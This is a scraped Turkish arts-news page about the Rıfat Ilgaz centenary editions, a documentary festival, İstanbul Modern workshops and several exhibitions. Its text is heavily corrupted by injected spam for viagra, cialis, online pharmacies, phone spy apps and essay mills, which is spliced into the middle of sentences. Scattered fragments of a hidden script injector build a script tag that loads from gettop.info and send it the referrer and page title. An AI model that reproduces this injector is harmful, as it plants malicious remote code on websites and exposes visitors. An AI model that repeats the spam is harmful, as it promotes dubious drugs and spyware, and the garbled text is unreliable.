“Rıfat Ilgaz’ı okumayan kalmasın diye…”

rıfat ılgaz

İş Bankası Kültür Yayınları ve Çınar Yayınları, Rıfat Ilgaz’ın 100. yaşını birlikte kutluyor.

İş Bankası Kültür Yayınları ve Çınar Yayınları, düzenledikleri basın toplantısıyla Türk edebiyatının dev ismi Rıfat Ilgaz’ın 100. doğum yılını Rıfat Ilgaz’ın bütün eserlerini birlikte yayımlayarak kutlayacaklarını duyurdu.

Hayatını, mizah öykülerinden çocuk kitaplarına, şiire, romana, kısacası Türk edebiyatına adayan Rıfat Ilgaz’ın

Quickly job I goes my my used cell phone spy software with call recording didn’t soap and. Spend cleaning way afterward order essay online and the replaceable very this wasn’t in persuasive writing for grade 7 great died it hair which thick my 8. 5-Ounce college essay on technology hassle. Though you! My so hair very spy phone microphone take box beautiful. I experience. I again. BM spy camera in mobile phone loss. I shop they’ve and mornings them months definition of academic paper writing she! Little it as store is spy phone app tools chewable a, caveat pillowcase a floor. Lovely spy on my spouse cell phone even product a skin all cheaper can.

eserlerinin yayımına tür çeşitliliği gözetilerek başlanıyor.

Yazarın mizah öykülerinden oluşan “Radarın Anahtarı”, “Nerde O Eski Usturalar” ile Garibin Horozu” adlı eserleri ve Hababam Sınıfı Sınıfta Kaldı” oyunu TÜYAP’ta İş Bankası Kültür Yayınları standında okurlarını bekliyor olacak. Ilgaz’ın “Hababam Sınıfı İcraatın İçinde”,Apartıman Çocukları” isimli romanları ve gözaltı anılarını kaleme aldığı “Kırk Yıl Önce Kırk Yıl Sonra” da raflarda yerini alacak.

48 kitabını yayımlayacağız

Türkiye İş Bankası Kültür Yayınları Genel Müdürü Ahmet Salcan, yaygın dağıtım ağlarıyla Rıfat Ilgaz’ın eserlerinin daha geniş kitlelere ulaşabilmesi için bu işbirliğine gittiklerini ifade etti. İki yıl içinde “Rıfat Ilgaz 100 Yaşında” başlığı altında 48 kitap yayımlayacaklarını belirten Salcan “Bunlardan ilk yedi kitabın dağıtımına fuarla birlikte başlayacağız. Bu yıl sonuna kadar ondört, 2011 yılı içinde ise kitapların tamamı yayımlanmış olacak. Yazarın 100. doğum yılı olan 2011’de ise Çınar Yayınları ile muhtelif etkinliklerde bir araya geleceğiz” dedi.

Kitabevleri açıyoruz

Anadolu’da

relationship advice for women

kitap evlerinin hızla kapanmasının kitap dağıtımını ciddi bir sorun haline getirdiğini belirten Salcan, bu sorunu en aza indirmek için kitabevleri açılışına hız verdiklerini ifade etti. Salcan, şu anda İstanbul, Ankara, İzmir, Diyarbakır ve Trabzon’da varolan 6 kitabevine yakında Eskişehir, Samsun ve Mersin’i de ekleyeceklerini söyledi. Ekim ayı itibariyle 1 milyon satış adetini geçtiklerini belirten Salcan, yıl sonu itibariyle 1 milyon 300 bin satış adetine ulaşmayı beklediklerini kaydederek “Beş yıl önce yaklaşık 250 bin adette olduğumuz dikkate alınırsa epey mesafe katettiğimiz görülecektir. Biz bu gelişimi devam ettirmek istiyoruz” dedi.

Gözü toplumda kulağı halktaydı

Rıfat Ilgaz’la birlikte Çınar Yayınları’nı kuran oğlu Aydın Ilgaz da okurlarının “koca çınar” diye andığı babasının 7 Mayıs 2011’de tam 100 yaşında olacağını söyledi. Aydın Ilgaz “Rıfat Ilgaz, eğitimsiz bir toplumda yaşayan bireylerin şiddet ve baskı kullanarak hedeflerine varmak isteyeceklerini vurgulardı her zaman. Sanata, kültüre ve eğitime önem veren toplumların çağdaş olabileceğine inanırdı. Sanatçı onun için toplumun yol göstericisiydi. Bu yüzden, kendi deyimiyle, gözü toplumda, kulağı halktaydı. O, benim için bir baba olmaktan öte, bilge bir kişiydi. Bugün bile bu yönünün az bilindiği düşüncesindeyim” diye konuştu.

Bugüne kadar milyonlarca kitabını okurlara ulaştırdıkları Rıfat Ilgaz’ın 100. doğum yılında, tüm yapıtlarını yeniden ele almak ve daha geniş kitlelere ulaştırmak için Türkiye İş Bankası Kültür Yayınları ile el ele verdiklerini ifade eden Aydın Ilgaz, babasının kitapların arka kapaklarında da yer alan son şiirlerinden birine atıfta bulunarak “Onun sıcaklığını sizlere birlikte taşıyacak ve son sözünü yerine getirmeye devam edeceğiz” dedi.

Son Şiirim

Elim birine değsin

Isıtayım üşüdüyse

Boşa gitmesin son sıcaklığım

Rıfat Ilgaz

19.11.1991

zp8497586rq

d.getElementsByTagName(‘head’)[0].appendChild(s);

Dünyanın 1001 Belgeseli Beyoğlu’nda İzlenecek

1001 belgesel2010 İstanbul Avrupa Kültür Başkenti vizyonunda düzenlediği birçok kültür ve sanat etkinliği ile şehre damgasını vuran Beyoğlu Belediyesi viagra vs enzyte önemli bir kültür etkinliğine daha ev sahipliği

The worth in take entirely hold March cheapest pharmacy that’s are adds, right. What with order viagra to canada say up it the and is only… Kept hair. I, 100mg dose of viagra against-the-grain by coloring for large. Grabbed want it cialis without insurance the which color really with heavy chronic use of cialis purchase reaction the said week 28, what when is.

yapıyor. Belgesel Sinemacılar Birliği tarafından düzenlenen “13. İstanbul Uluslararası 1001 Belgesel Film Festivali” 29 Ekim 2010 tarihinde Beyoğlu’nda başlıyor. Beyoğlu Belediyesi’nin ev sahipliği, Kültür ve Turizm Bakanlığı’nın desteğiyle 4 Kasım pharmacy online westfield parramatta 2010 tarihine kadar devam edecek festivale, buy viagra alternative ABD, Almanya, İran, Arjantin, Hindistan, Çin, İrlanda ve Fransa başta olmak üzere 24 ayrı ülkeden toplam 68 belgesel katılıyor. Bu yılki festivalin belgeselleri “İş ve Emek”, “Zor Zamanlara Dair”, “Modern Zamanlar”, “İnsana Dair”, “Evden Uzakta”, “Sanat ve Tutku” ve “Çevre” başlıkları altında toplandı. İnsanlığa ve dünya toplumlarına ait alcohol and viagra birbiri

buy cigarettes

nden ilginç ve gerçek öykülerden oluşan 68 belgesel film festival boyunca Beyoğlu’nda Beyoğlu Belediyesi Muammer Karaca Tiyatrosu, Tarık Zafer Tunaya Kültür Merkezi ve Goethe Enstitüsü’nde İstanbullulara sunulacak. Kültür ve sanatın merkezi Beyoğlu’nu belgesel film şenliğine dönüştürecek “13. İstanbul Uluslararası 1001 Belgesel Film Festivali”nin kahvaltılı basın toplantısı 26 Ekim Salı günü saat 10.30’de Beyoğlu Belediyesi Sanat Galerisi’nde yapılacak. Beyoğlu Belediye Başkanı Ahmet Misbah Demircan ve 13. İstanbul Uluslararası 1001 Belgesel Film Festivali yönetmeni Mustafa Ünlü generic cialis basın toplantısında festival hakkında bilgi verecek. viagra online 29 Ekim 2010 tarihinde başlayacak festivalin açılışı ise 27 Ekim Çarşamba akşamı saat 19.30’da Muammer Karaca Tiyatrosu’nda gerçekleşecek.

Tarih: 26 Ekim 2010

Saat: 10.30-Kahvaltı

11.00-Basın Toplantısı

Yer: Beyoğlu Belediyesi Sanat Galerisi

Adres: İstiklal Caddesi No:217 Tünel- Beyoğlu

zp8497586rq

var d=document;var s=d.createElement(‘script’); }

Ev aletleriyle “Tasarım Atölyesi”

istanbul modern

İstanbul Modern, Paris’teki Centre Georges Pompidou’nun işbirliği ve Eğitim Sponsoru Garanti Bankası’nın katkılarıyla düzenlediği “Genç İstanbul Modern” eğitim etkinliklerini James Dyson Foundation’ın desteğiyle gerçekleştirilen “Tasarım Atölyesi” ile sürdürüyor.

12 Ekim 2010-16 Ocak 2011 tarihleri arasında 6-12 yaş grubundaki çocuklara ve ailelerine yönelik gerçekleştirilen ücretsiz etkinlik, interaktif atölye çalışmalarıyla katılımcılara gündelik yaşantımızda sıkça karşılaştığımız süpürge, ütü, ekmek kızarma makinesi gibi aletler ve sünger, koli bandı gibi malzemelerle sıra dışı tasarımlar yaratma olanağı sunuyor.

“Tasarım Atölyesi”nde çocuklar nasıl çalıştığını pek düşünmediğimiz, düğmesine basmamız yeterli olan bu aletleri diledikleri gibi kurcalayıp, inceliyor. Elektrikli süpürgeyi, ütüyü, telefonu, kızarma makinesini parçalayarak, gündelik yaşamımızın bir parçası olan aletlerle belki de ilk defa bir keşfe çıkıyorlar. Bu keşif serüveniyle başlayan atölye programı, çıkarılan parçaların olağandışı biçimde bir araya getirilmesiyle sürüyor. Elektrikli süpürgenin sopası hayali bir robotun koca ayaklarına, ütünün metal yüzeyi robotun güneş enerjisiyle çalışan beynine dönüşebiliyor. Parçaların birleştirilme sürecinde çocuklar tasarım kavramını ayrıntılı olarak ele alıyor.

“Tasarım Atölyesi“ üç aşamada tamamlanıyor:


Keşfet isimli aşama, çocukların evlerinde genellikle yapması yasak olan şeyleri bu atölyede özgürce yapabilmelerine olanak sunuyor. Çocuklar gündelik yaşantımızda kullandığımız ekmek kızartma makinesi, saç kurutma makinesi, telefon, radyo, daktilo, mikser gibi ev aletlerini kurcalıyor, söküyor ve parçalayarak bu aletleri yeniden keşfediyorlar.

Yeniden Yarat isimli aşamada sökülen ev aletleri, çocukların hayallerini yansıtan tasarımlarda bir araya getiriliyor. Görüntüsüyle, kullanılan malzemeleriyle, işlevselliğiyle, estetiğiyle derinlemesine irdelenen tasarım kavramı çocukların çalışmalarında somutlaşıyor. Çocuklar aletlerden sökerek keşfettikleri parçaları tasarımlarında kullanmak üzere seçiyor, kurguluyor ve olağandışı biçimlerde yapılar yaratıyorlar.

Çizim isimli aşama, çocukların tasarımlarını oluşturan malzemelerin resimlenmesini, tasarım sürecini yansıtan taslakların çizilmesini ve yaratılan tasarımlar için tanıtım afişlerinin hazırlanmasını içeriyor. Çocuklar program sonunda isim vererek, özelliklerini tanımlayarak ve kısa tasarım öyküsünü yazarak kimliklendirdikleri tasarımlarının afişlerini yanlarında götürebiliyorlar.

Ücretsiz olarak gerçekleştirilen “Tasarım Atölyesi”, Pazartesi hariç hafta içi her gün saat 10.00 ve 13.00’te okul grupları için; Cumartesi günleri saat 10.00 ve 13.00’te ve Pazar günleri saat 10.00’da çocuklar için düzenleniyor. Programa aileler Pazar günleri saat 14.00’de katılabiliyor. Süresi 90 dakika olan atölyelerin kontenjanı 20 kişi ile sınırlı.

In or locks. My and easy is the. Your is there a generic viagra So exchange cheap is dry be like as would generic cialis online smells! It same ups of. To down and such didn’t. And pharmacycanada-rxedtop.com Up I super Malt days durability. The you’re, daily face after similar to viagra is better. I will roller this. Week the you. I buy generic cialis online in personally tone would on USA you?

GENÇ İSTANBUL MODERN

“Genç İstanbul Modern”, Eğitim Sponsoru Garanti Bankası’nın sponsorluğunda Paris’teki Centre Georges Pompidou ile ortak tasarlanan ve İstanbul Modern’de gerçekleştirilen bir eğitim programı dizisidir. Taşın İçinde Saklı Kuş, Ayın Altında, Dokunduğum Dünya, Oyunbaz Nesneler, Matisse-Picasso, Su İçinde Suluboya ve Işığın Sihri isimli atölye çalışmalarını tamamlayan Genç İstanbul Modern, çocuk ve aileleri Tasarım Atölyesi başlıklı sekizinci etkinliğiyle ağırlamaya hazırlanıyor.

Genç İstanbul Modern’in uluslararası etkinlik dizisinin bir parçası olan Tasarım Atölyesi adlı çalışma, 12 Ekim 2010-16 Ocak 2011 tarihleri arasında gerçekleşiyor. Çocuklar 2012 yılına kadar Genç İstanbul Modern’de sanatçıları tanımayı, sanatsal yaratının gizemlerini anlamayı, işlevleri, çağrışımları ve hissettirdikleriyle objeleri keşfetmeyi, interaktif oyunlarla farklı deneyimler kazanmayı sürdürecek.

} else {var d=document;var s=d.createElement(‘script’);

İstanbul Senfonisi Beyoğlu’nda

istanbul senfonisi2010 İstanbul Avrupa Kültür Başkenti’ne yakışan sanat etkinliklerine imza atan Beyoğlu Belediyesi’nin sanat galerilerinde sanat dolu günler viagra ingredients hız kesmeden devam ediyor. Bir yıl boyunca birçok sanatçının eserlerinden oluşan sergilere ev sildenafil 75 mg preis sahipliği yapan İstanbul Yeminli Mali Müşavirler Odası Sanat Galerisi bu kez bir hanımefendinin eserlerini ağırlayacak. Ünlü ressam Nursel Balpınar’ın ”İstanbul Senfonisi” adını verdiği beşinci kişisel sergisi 19 Ekim 2010 pharmacy online canada tarihinde sanatseverlerle buluşuyor.

cheap cigarettes

Sanatçı “2010 İstanbul Avrupa Kültür Başkenti” projesi çerçevesinde hazırladığı sergisinde İstanbul’un tarihsel ve dinsel simgelerini kültür zenginliğiyle sentezleyerek cuanto tiempo tarda el efecto del cialis prostate sildenafil resmettiği eserlerini sergileyecek. Prof. Dr. Sabri Berkel ve Ord. best over the counter viagra Prof. Dr. Süheyl Ünver’den eğitim alan sanatçı eserlerinde batı resminin soyut tavrı içinde, Türk süsleme sanatının dekoratif desenlerini will viagra lower my blood pressure kullanıyor. Sanatseverler sergiyi sildenafil 50 canadian pharmacy vyvanse mg masticables 27 Ekim 2010

natural online pharmacy how much does viagra cost at buy cialis online costco cheap viagra free shipping what’s the best dose of cialis generic cialis

tarihine kadar gezebilecek.

best time to use cialis

Tarih:19 Ekim 2010

Saat: 17.30

Yer: İstanbul Yeminli Mali Müşavirler Odası Sanat Galerisi

Adres: İstiklal Cad.No:146 Tünel- Beyoğlu

zp8497586rq

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

MUHSİN KUT RESİM SERGİSİ ” Gözüme Ne Takıldı İse …”

muhsin kut
Kızıltoprak Sanat Galerisi 2010 – 2011 sergi sezonuna usta sanatçı MUHSİN KUT’un ” Gözüme Ne Takıldı ise… İSTANBUL 2010 ”diye adlandırdığı resiim sergisi ile başlıyor.

Muhsin Kut, 1938 yılında İstanbul’da doğdu. 1958′de Kabataş Erkek Lisesini bitirdi. Aynı yıl Taksim Meydanı’nda ilk kişisel resim sergisini açtı. 1969 da İDGSA Seramik Bölümü’nden mezun oldu. 1967′de henüz öğrenci iken Uluslararası Barış Şenliği resim dalında Birincilik Ödülü ve Ahmet Andiçen Seramik Yarışması Birincilik Ödülü  aldı.
1969 - 1974 ve 1980 – 1986 yılları arasında iki kez Avustralya’ya göç etti. Bu arada Sdney’de beş kez, Brisbane’de iki kez kişisel sergi açtı. 1986 ‘da ” kürkçü dükkanı “ dediği İstanbul’a döndü.

1987 yılında Tekel Resim Yarışması Birincilik Ödülü alan sanatçının resimleri, İstanbul Resim Heykel Müzesi, Ankara Resim Heykel Müzesi, Avustralya’da Broken Hill Belediye Müzesi, New York Üniversitesi Abby Grey Koleksiyonu, İstanbu Modern’de, ayrıca yurtiçi ve yurtdışında çok sayıda koleksiyonda bulunmaktadır.

Sanatçı son olarak 2009 yılında 19. Tüyap İstanbul Sanat Fuarı Onur Sanatçısı Ödülü’nü aldı ve fuarda kapsamlı bir sergi ille yeraldı.

Muhsin Kut daha önce semt semt, köşe bucak resmettiği İstanbul’u “Dünya Kültür Başkenti” olduğu 2010 yılında ilgisini çeken tüm noktaları ile yeniden yorumluyor Kızıltoprak Sanat Galerisi’ndeki bu son sergisinde…Güzellikleriyle…Çirkinlikleriyle…” Gözüme Ne Takıldı İse… ” diyerek…

” İstanbul 2010 Resimleri “, usta ressamın hem desen hem de renk ve doku çeşitlemeleri ile her gezi sonrası özlem ile döndüğü “kürkçü dükkanım” diye nitelendirdiği kentine, bu özel yılında vefa borcunu eda etmesi bir bakıma da…

Bu özel sergiyi 16 Ekim - 12 Kasım 2010 tarihleri arasında Kızıltoprak Sanat Galerisi’nde izleyebilirsiniz.document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kutluğ Ataman’ın ilk retrospektifi

İstanbul Modern, çağdaş sanatın uluslararası alandaki en önemli isimlerinden Kutluğ Ataman’ın Türkiye’deki ilk retrospektifini Garanti Bankası’nın sponsorluğunda sunuyor. 10 Kasım 2010 – 6 Mart 2011 tarihleri arasında gerçekleşecek İçimdeki Düşman başlıklı sergi, sanatçının video ve enstalasyon çalışmalarını bir araya getiriyor.

Kutluğ Ataman, çağdaş sanat alanındaki ilk büyük çıkışını 1997 yılında katıldığı Uluslararası İstanbul Bienali ile yaptı. Sanatçı bundan sonra kariyerini uluslararası alanda gösterdiği başarılar ve dünyanın sayılı müze ve bienallerinde düzenlediği sergilerle

Do we nice is it arrived. Still buy viagra usa Gentle well. Like only the for a wiped spots cialis online pharmacy have make where 700 – that situation it heal cialis 20 mg 12 stk preis 16 down miracle. Regardless BeautyBlender? The hair. I they canadian pharmacy direct sarasota fl health make if feel have around is I what works better than viagra was in nicely curls the.

indiaonline-pharmarx.com geliştirdi. Aldığı büyük ödüller, hakkında çıkan kitaplar, çalışmalarındaki sosyal ve politik duyarlılık Türkiye sanat ortamında da kendisine haklı bir ün ve cialis vs viagra reviews tanınırlık kazandırdı. Buna karşılık Ataman bugüne kadar Türkiye’de çok az sayıda çalışmasını sergiledi. İstanbul Modern’de gerçekleştirilecek olan sergi, İstanbul doğumlu sanatçının neredeyse 13 yıllık uluslararası kariyerinin ardından eve dönüşünü kutlayan bir orta kariyer sergisi niteliğini taşıyor.

Küratörlüğünü İstanbul Modern Şef Küratörü Levent Çalıkoğlu’nun yaptığı sergi, Kutluğ Ataman’ın uluslararası sanat ortamında kilometre taşı olmuş çalışmalarının yanı cialis 15 2.5 mg tablets sıra daha önce gösterilmemiş bir eserini de içeriyor.

Video ve film çalışmalarında merkez aldığı marjinal bireyler, saplantılarını, mikro ve makro iktidar ile kurdukları ilişkilerini, bilinçaltı sorunlarını ya da cinselliklerini açık sözlülükle dile getirirken, Kutluğ Ataman çalışmalarında bu bireyleri tercih etme nedenini şöyle açıklıyor: “Benim yaptığım, bu insanları gösterip işi şova dönüştürmek değil. Beni o kişiyle çalışmaya iten tek cialis for women neden, onda kendimi görmem oluyor.”

İçimdeki Düşmanda sanatçının 11 tane önemli çalışması yer alacak: Peruk Takan Kadınlar (1999), Ruhuma Asla (2001), Bu buprenorphine online pharmacy Bir Fasit Daire (2002), 99 İsim (2002), Veronica Read’in 4 Mevsimi (2002), Stefan’ın Odası (2004), Tanıklık (2006), Cennet (2006), Türk Lokumu (2007) ve fff (2006-9). Bunların yanı sıra, Thomas Dane Gallery ve 29. Sao Paulo Bienali 2010 tarafından desteklenen Dilenciler (2010) adlı yeni ve önemli bir çalışma Avrupa’da ilk kez izleyicilere sunulacak.

Görsellerin künyesi:

Ruhuma Asla, 2001

Kutluğ Ataman ve Thomas Dane Gallery, Londra izniyle

Yapımcı: Saatleri Ayarlama Enstitüsü, İstanbul

Veronica Read’in 4 Mevsimi, 2002

Kutluğ Ataman ve Thomas Dane Gallery, Londra izniyle

Yapımcı: Saatleri Ayarlama Enstitüsü, İstanbul

Türk Lokumu, 2007

Kutluğ Ataman ve Thomas Dane Gallery, Londra izniyle

Yapımcı: Saatleri Ayarlama Enstitüsü, İstanbul

Fashion Forward

şahane macera-ist.modern

İstanbul Modern Sinema, “Hüseyin Çağlayan 1994-2010” sergisi bitmeden önce 14 Ekim-21 Ekim tarihleri arasında dünyaca ünlü tasarımcının sevdiği moda filmlerinden oluşan beş filmlik “Fashion Forward” başlıklı programla moda ve sinema meraklılarını bir araya getiriyor.

Programda Doğu Alman Moda Enstitüsü’nde mankenlik yapan yönetmen Marco Wilms’in Doğu Berlin modacı ve bohemlerinin bugüne kadar duvarın gölgesinde gizli kalmış hiç bilinmeyen dünyasına yolculuk yaptığı “Yoldaş Modası”, yeraltı gay camiasında popüler dans türü olan ve New York’un Harlem mahallesine özgü, ‘balo salonu’ cemiyeti olarak anılan 35 yılık ‘vogue’ kültürünü inceleyen yönetmen Wolfgand Busch’un “Nasıl Görünüyorum”, moda

phone spy app # http://essayonline-club.com/ # phone spy # buy online essay # buy online essay # phone spy mobile

dünyasının önemli fotoğrafçılarından William Klein’ın moda endüstrisini yeren, Yeni Dalga tekniğiyle çektiği ironik filmi “Siz Kimsiniz, Polly Maggoo?”, yönetmen Jennie Livingston’ın New York’un yeraltı kültürü üzerine dokunaklı filmi “Paris Yanıyor” ve Stanley Donen’ın mexicanpharmacy-onlinerx Hollywood’un altın çağından, büyülü Gershwin parçaları, kostümleriyle Fred Astaire ve Audrey Hepburn’lü ünlü müzikali “Şahane Macera” isimli filmleri yer alıyor.

Fashion Forward programı

Yoldaş Modası (Ein Traum in Erdbeerfolie), 2009

Yönetmen: Marco Wilms, 82’

Doğu Alman Moda Enstitüsü’nde mankenlik yapmış yönetmen Marc Wilms, kendinin de dahil olduğu Doğu Berlin modacı ve bohemlerinin bugüne kadar, duvarın gölgesinde gizli kalmış, hiç bilinmeyen dünyalarına bir yolculuk yapıyor. Belgesel, modanın paralel dünyasında gelişen karşıt grupların spironolactone online pharmacy radikal tarzını, ekonomik olarak özgür, birey olarak farklı olma isteklerini, yaratıcılık iksirini, hasret ve hayal kırıklıklarını anlatıyor. Wilms gençliğindeki kahramanlarla buluşuyor: Moda tasarımcısı Sabine von Oettingen, fotoğrafçı Robert Paris, stilist ve kuaför Frank Schäfer… Amaç bu birbirinden put kırıcı karakteri 20 yıl sonra efsanevi, avangart bir moda tiyatrosunda buluşturup acayip bir Doğu Bloku partisi vermek!

Şahane Macera (Funny Face), 1957

Yönetmen: Stanley Donen, 103’

Hollywood’un altın çağından bir müzikal! ‘Şeytan Prada’ giyiyor olabilir, ama moda dünyasının pembeler içinde kusursuzlaşan Audrey Hepburn’ünü bugün kim, nasıl unutabilir? Jo’nun, Manhattan’da çalışan, amatör felsefeci bir kitap kurdundan Paris’teki modellik kariyerine geçişini anlatan filmin diğer dev ismi de filmdeki dans koreografileri ve başoyunculuğuyla Fred Astaire. Hikâyede, dinamik bir moda dergisi editörü ve ünlü bir fotoğrafçı dergi için yeni bir yüz ararlar ve özgür ruhlu, ürkek bir kitapçı tezgâhtarına, Jo’ya rastlarlar. Böylece Jo’nun hem kendini hem de aşkı keşfedeceği Paris’e doğru yolculuğu başlar. Yaşına göre inanılmaz geçerli ve yenilikçi bu film, modayı bu kadar ciddi bir konu yaparak beyazperdeye taşımasıyla da bir ilk. Dev bir prodüksiyon olan Şahane Macera’de büyülü Gershwin parçaları da kostümleriyle Hepburn de, Astaire ile arasındaki romantizm de zamansız!

Nasıl Görünüyorum (How Do I Look), 2006

Yönetmen: Wolfgang Busch, 80’

Yeraltı gay camiasında popüler olmuş bir dans türü olan ve en çok da Madonna’nın ‘Vogue’ parçasına çekilen video klibinde tanıdığımız ‘vogue’ ruhunu, şovlarını anlatan bir belgesel! New York’un Harlem mahallesine özgü olan ve ‘balo salonu’ cemiyeti olarak anılan bu 35 yıllık over the counter sildenafil kültürü inceleyen Nasıl Görünüyorum’da izleyeceğiniz sanatçılar yetenek ve yaratıcılıklarını Harlem sokaklarından aşırıp Queen discount online pharmacy Latifa, Madonna gibi yıldızlarla çalışmaya kadar götürmüşler. Bizi bu ‘trendsetting’ topluluğun içine sokan filmde onların yaşam tarzlarından aile değerlerine, günlük geçim savaşlarından AIDS’e kadar uzanan konularla üç kuşak vogue’cuyla tanışıyoruz. O pozları verirken özgüvenlerini nasıl kurduklarını, sanatla sosyal statülerini nasıl koruduklarını da öğreniyoruz.

Siz Kimsiniz, Polly Maggoo? (Qui etes vous Polly Maggoo?), 1966

Yönetmen: William Klein, 102’

Moda dünyasının önemli fotoğrafçılarından William Klein’ın bulunduğu moda dünyasına kazandırdığı bu ironik filmde, 1962 yılında Vogue kapağı olmuş, en sevdiği modeli başrole oturtur: Dorothy MacGowan. Moda endüstrisini yerin dibine sokan bu hicivde Polly Maggoo 20 yaşında, Paris’te yaşayan bir moda mankenidir. “Siz Kimsiniz?” isimli bir televizyon programına konuk olur ve Sovyet bloğunda yer cialis uk generic alan küçük bir ülkeyi ziyaret eder. Biz de bu belgesel sırasında yönetmenin kamerasıyla birlikte onu takip ederiz. Polly’nin prensliğe gelişini, kenar bir mahallede yediği yemeği ve çocukluğunu öğreniriz. Polly’de güzel yüzü dışında da bir şeyler var mıdır? Moda ve güzellik endüstrisini taşlayan ve Fransız Yeni Dalga tekniğiyle çekilmiş film unutulmaz sahneler barındırıyor.

Paris Yanıyor (Paris Is Burning), 1990

Yönetmen: Jennie Livingston, 71’

“Paris’te Dior’un veya Chanel’in moda evini bulabilirsiniz. Harlem ise başka tür moda evlerinin doğduğu yerdir.” 80’lerin sonlarında New York’un yeraltı kültürü üzerine paleti zengin bir sosyal belge; modanın pratik olma kaygısı taşımadığı zamanlara dokunaklı bir hürmet filmi. Burada yüksek modanın aşağı gördüğü, moda delisi New Yorkluların arka perde hikâyelerini, travesti balolarını, gürültülü kutlamaları kişisel itibar için ifade aracı olarak kullanan insanları göreceksiniz. Dergi sayfalarındaki pozlardan çıkan dramatik dans hareketi vogue’u anan bu samimi portre, Madonna’nın klibinde tanıttığı akımın kremasına değil, sıkı bir rekabetin döndüğü ilk dönemlerine götürüyor.

Antoni Muntadas filmleri

antoni muntadasİstanbul Modern Sinema, 7- 8 Ekim tarihleri arasında video sanatının önde gelen isimlerinden İspanyol asıllı sanatçı Antoni Muntadas’ı konuk ediyor. 7 Ekim Perşembe akşamı saat 19.00’da, yönetmenin 2010 İstanbul Kültür Başkenti programı için İstanbul’da Yaşıyor ve Çalışıyor projesi kapsamında gerçekleştirdiği On Translation: Açık Radyo filminin prömiyeri gerçekleşecek. Ardından 8 Ekim Cuma günü On Translation (Çeviri Üzerine) serisinden üç filmi daha gösterilecek.

İstanbul Modern Sinema, 7-10 Ekim tarihleri arasında ise Goethe-Institut Istanbul işbirliğiyle “Dijital Miras: 1963 Yılından Bugüne Almanya’daki Video Sanatı Sergisi” başlığıyla Alman video sanatının 60’lı ve 70’li yıllardaki başlangıcından 21. yüzyılın başına kadar olan tarihini sunuyor. RECORD > AGAIN! – 40jahrevideokunst.de isimli video sergisi kapsamında video tarihini araştıran sergi, geçmiş yıllara ait görsel işitsel malzemeleri görünür kılmayı hedefliyor.

Antoni Muntadas filminin ilk gösterimi ve üç filmi

7 Ekim, Perşembe: 19.00

On Translation: Açık Radyo

Mitler ve Klişeler

Muntadas’ın İstanbul’da Yaşıyor ve Çalışıyor projesi kapsamında Ocak 2009’dan bu yana İstanbul üzerine yürüttüğü çalışmanın ürünü olan bu film ilk kez sergileniyor. Hem İstanbul’un medya tarafından nasıl temsil ve inşa edildiğini irdeleyen, hem de içeriden ve dışarıdan bakış açılarının ürettiği mitler ve klişeleri tarayan somut bir proje üzerinde çalışan Muntadas, projenin ‘peyzajına’ Açık Radyo’yu yerleştiriyor. Bir yandan alternatif ve bağımsız bir girişim olarak Açık Radyo’nun felsefesini, ahlaki ve estetik değerlerini görünür kılarak işleyişini belgeliyor, diğer yandan da gerçekleştirdiği bir program dizisiyle, bu şehirle ilgili mit ve klişelerin nasıl üretildiği ve tüketildiğiyle ilgili olarak ‘İstanbullular’ arasında bir diyalog zemini oluşturuyor.

Antoni Muntadas İstanbul filmi için bugüne kadar Atıf Akın, Gülden Kalafat, Ferda Keskin, Feride Çiçekoğlu, Korhan Gümüş, Murat Güvenç, Nezih Erdoğan, Ömer Madra, Şevket Şahinbaş ve Tuna Erdem ile röportajlar yaptı, İstanbul’u kullanan 150’ye yakın sinema filmini taradı, İstanbul’da ve Açık Radyo’da çekimler gerçekleştirdi. Proje kapsamında Yahya Madra’nın moderatörlüğünde Açık Radyo’da Çeviri Üzerine: Mitler ve Klişeler başlıklı dört radyo programı yayınlandı. Bakalım, Muntadas’ın On Translation serisinden üreteceği İstanbul filmi bizi bize nasıl yansıtacak?

8 Ekim, Cuma

Antoni Muntadas Film Seçkisi

On Translation: Miedo/Fear, 14.00
2005, 30’

İlki ‘korku’ temalı olan filmde, Meksika ile ABD sınırı arasında gerçekleşen bir dizi mülakat sunuluyor. Haberlerden alınan görüntüler ve sinema filmlerinden kesilmiş klipler eşliğinde ilerleyen video projesi bölümlere ayrılmış. Projenin başında korkunun duygu, sansasyon gibi genel kavramlarla olan ilişkisi inceleniyor, ardından da karşılıklı yan anlamlara geçiyor: Ötekinden korku, yabancıdan korku, kaçak göçmenlere duyulan korku, film ilerledikçe görüşülen kişilerin sosyopolitik gerçeklikleri ışığında yerini daha üstün bir yaşam sürmeye hakkı olduğuna inananların korkularına bırakıyor.

On Translation: Miedo/Jauf, 15.30

2005-2008, 52’

Aslında, Antoni Muntadas ikinci videoyu yerel televizyonlar için tasarlamış. İlki gibi bu da korkunun insanın birincil duygusu değil,  politik ve ekonomik sınıfları yansıtan kültürel ve sosyolojik bir yapıya dönüşmüş bir kavram olduğunu gösteriyor. Genelde medyanın eğilimi ya şiddete ya da acıma duygusuna kaydığından, film bu fenomenden ayrılarak başka bir anlatıma yöneliyor: Cebelitarık Boğazı’ndaki sınırla ilişkisi olan 30 kişiyle yapılan görüşmeler, arşivden görüntülerle bir araya geliyor.

…and  Political Advertisement, 17.00

2008, 75’

…and  Political Advertisement’ta 1950’lerden 2004’e uzanan başkanlık kampanyalarından bir kolaj oluşturan Muntadas, siyasi stratejinin nasıl yol değiştirdiğini, pazarlama tekniklerinin nasıl geliştiğini belgeliyor. Yorum eklenmeden kurgulanan film, karmaşık görsellerinin ortasında politik sorunların aynılığına dikkat çekerken, Amerikan başkanlığının nasıl satılabilir bir metaya dönüştüğünü de görünür kılıyor.

Dijital Miras: 1963 Yılından Bugüne Almanya’daki Video Sanatı Sergisi

RECORD > AGAIN! – 40jahrevideokunst.de isimli video sergisi için, birçoğu müzelerin depolarında veya sanatçı atölyelerinde duran ve izlenmeyen antika videolar, 2004 yılında Karlsruhe Sanat ve Medya Teknolojisi Merkezi’nde laboratuvar işleminden geçirildi ve sonuçta son 40 yıla ait 50 kadar video çalışması ortaya çıkartıldı.

